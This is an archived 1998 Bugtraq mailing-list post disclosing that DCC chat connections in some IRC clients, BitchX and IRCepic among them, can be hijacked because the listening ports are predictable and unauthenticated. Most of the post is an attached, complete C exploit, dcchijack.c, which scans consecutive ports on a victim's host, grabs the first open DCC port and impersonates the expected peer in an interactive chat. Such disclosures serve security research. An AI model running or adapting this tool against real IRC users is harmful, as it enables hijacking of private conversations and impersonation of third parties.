[8735] in bugtraq

home help back first fref pref prev next nref lref last post

Irc: another funny stuff. In some irc clients dcc may be hijacked.

daemon@ATHENA.MIT.EDU (awgn@COSMOS.IT)
Sat Dec 19 14:55:57 1998

Date: 	Sat, 19 Dec 1998 13:58:04 +0100
Reply-To: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
From: awgn@COSMOS.IT
To: BUGTRAQ@NETSPACE.ORG

This is a multi-part message in MIME format.
--------------1350938954EAD0D34012BAE8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I just found a funny bug playing with some irc-client. DCC-chat may be
hijacked...

The trouble comes while clients bind port to accept or request a dcc
CHAT/SEND/ or RECEIVE.
Being this a simple TCP connection without any ip control.. the way to
exploit is trivial.

Here we go:

B , the hi-jacker wants to have fun with A. So he first creates a dcc
connection with A,
getting the port binded.

Now A is under attack since next ports used to create connections will
be quite consecutive to the first one. BitchX and IRCepic seem to be
affected with this matter. ( other clients???)

Now A tries to /dcc chat C, but this is just a bit lagged. ( C maybe a
bot? )
B , using the following source, is going to assume the identity of C
except for his host. :-)

I simply implemented some routines of my hailscan to guess which is the
port binded.
When it finds an open port, it establish a connection running a kinda
irc-client.

All of this is just for educational purpose only.

The source provided herein can be improved for better results.


awgn@cosmos.it
     coding&networking division.
--------------1350938954EAD0D34012BAE8
Content-Type: text/plain; charset=us-ascii;
 name="dcchijack.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dcchijack.c"

/* Dcc hijack (c) 1998 awgn@cosmos.it
 *
 * Some pieces of this code are ripped from hailscan v 1.9908.
 * available at www.dislessici.org. ( hosted at cosmos.it )
 *
 * CREDITS:     cosmos.it -> this isp r0x!!!! ( Thansk to spider@cosmos.it )
 *              kasko, antirez & gigi_sull @seclab.com
 *
 * GREETINGS:   *@dislessici.org , #hackers@ircity rappo,filo,cyber,litos,lordfelix...
 *              Sir-Alex: take it easy... only God knows the truth ;-).
 *              Thor: everyone is missing you.
 *              Jwk, jam, zorro , c1rp0, megat0n -> how is going your parser ? ;)
 *
 *              #hackers@undernet.org ( expecially to my buddy nigr zerox)
 *              #america@undernet.org  ( dedicated to my bro' sartre, exx & jeanlucP )
 *              #hackers.it@ircnet    ( m0f0z - radon - Nail^d0d )
 *
 *              NERVOUS! -> how can i forget your nick? hehe
 *
 * Tested on Linux and *BSD.
 *
 * This code is provided for educational purposes only. */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>

#define MAXSOCKET 32
#define TIMEOUT   10


struct sockaddr_in newsock;


struct sweep {
  int sock;
  short port;
  long sec;
  long usec;
  struct sweep *next;

};


struct sweep *sheet, *top_sheet;
int csock = 0;

int portcounter;


int
set_nonblock (int s)
{
  int val = 0;
  if ((val = fcntl (s, F_GETFL, val)) == -1)
    return -1;
  val |= O_NONBLOCK;
  fcntl (s, F_SETFL, val);
  return 0;
}


int
time_out (long int sec_a, long int usec_a, long int sec_b, long int usec_b, int time_max)
{
  if ((((sec_a - sec_b) == time_max) && (usec_a > usec_b)) || ((sec_a - sec_b) > time_max))
    return 1;

  return 0;
}

int
push_sockets (void)
{

  struct timeval actually;

  gettimeofday (&actually, NULL);

  if (!sheet->sock) {
    sheet->sock = socket (AF_INET, SOCK_STREAM, 0);
    if (set_nonblock (sheet->sock) == -1)
      return 0;

    sheet->sec = actually.tv_sec;
    sheet->usec = actually.tv_usec;

    sheet->port = portcounter++;

  } else
    return 0;

  return 1;

}



u_long
getnbobyname (u_char * host)
{
  struct in_addr addr;
  struct hostent *host_ent;

  if ((addr.s_addr = inet_addr (host)) == -1) {
    if (!(host_ent = gethostbyname (host))) {
      fprintf (stderr, "gethostbyname() or inet_addr() err:%s\n", strerror (errno));
      return 0;
    }
    bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  }
  return addr.s_addr;
}


void
client (int s, char *str)
{

  FILE *in, *out;
  char in_line[1024];
  char out_line[1024];

  in = fdopen (s, "r");
  out = fdopen (s, "a");

  setlinebuf (in);
  setlinebuf (out);

  set_nonblock (s);


  printf ("\nGotcha!\nDCC hijacked.\n\n\n");

  while (1) {

    while (fgets (in_line, 1024, in))
      printf ("<%s> %s", str, in_line);

    fgets (out_line, 1024, stdin);
    if (strlen (out_line) > 1)
      fprintf (out, "%s", out_line);

  }

  exit (0);
}



void
usage (char *name)
{

  fprintf (stderr, "\ndcc-hijack (c) 1998 awgn@cosmos.it\n\n");
  fprintf (stderr, "usage: %s host.of.dcc.asker baseport\n", name);

  exit (1);

}



void
scan (unsigned long int a, int *out, unsigned short int *port)
{
  struct timeval now;
  int i = 0;

  *out = 0;
  *port = 0;


  sheet = (struct sweep *) malloc (sizeof (struct sweep));
  top_sheet = sheet;

  for (; i < MAXSOCKET; i++) {
    sheet->sock = 0;
    sheet->next = (struct sweep *) malloc (sizeof (struct sweep));
    sheet = sheet->next;
    sheet->next = NULL;
  }

  sheet = top_sheet;


  newsock.sin_addr.s_addr = a;
  newsock.sin_family = AF_INET;


  while (1) {


    while (sheet->next) {

      gettimeofday (&now, NULL);

      if (!sheet->sock)
        push_sockets ();
      else {
        if (time_out (now.tv_sec, now.tv_usec, sheet->sec, sheet->usec, TIMEOUT))
          sheet->sock = 0;

        else {

          newsock.sin_port = htons ((u_short) sheet->port);

          if (connect (sheet->sock, (struct sockaddr *) &newsock, sizeof (newsock)) == 0) {
            *out = sheet->sock;
            *port = sheet->port;
            return;
          } else
            switch (errno) {
            case EISCONN:
              *out = sheet->sock;
              *port = sheet->port;
                return;
              break;

              case ETIMEDOUT:
              case EINVAL:
              case ECONNREFUSED:
              case EADDRNOTAVAIL:
                close(sheet->sock);
                sheet->sock=0;
                break;
                           }

              }
         }

      sheet = sheet->next;

    }

    sheet = top_sheet;

  }



  return;

}


int
main (int argc, char **argv)
{
  int nb0 = 0;
  int sock = 0;
  unsigned short port_guessed = 0;


  if (argc < 3)
    usage (argv[0]);

  if (!(nb0 = (u_long) getnbobyname ((char *) argv[1]))) {
    fprintf (stderr, "argv[1] err: which kind of host/ip did you pass me?\n");
    exit (1);
  }
  if (!(portcounter = atoi (argv[2]))) {
    fprintf (stderr, "port() err: which kind of port did you pass me?\n");
    exit (1);
  }

  scan (nb0, &sock, &port_guessed);

  if (!sock || !port_guessed) {
    fprintf (stderr, "Sorry: no port found.\nDCC between clients may be already estabilished.\n");
    exit (1);
  }

  client (sock, argv[1]);


  return 0;

}

--------------1350938954EAD0D34012BAE8--

home help back first fref pref prev next nref lref last post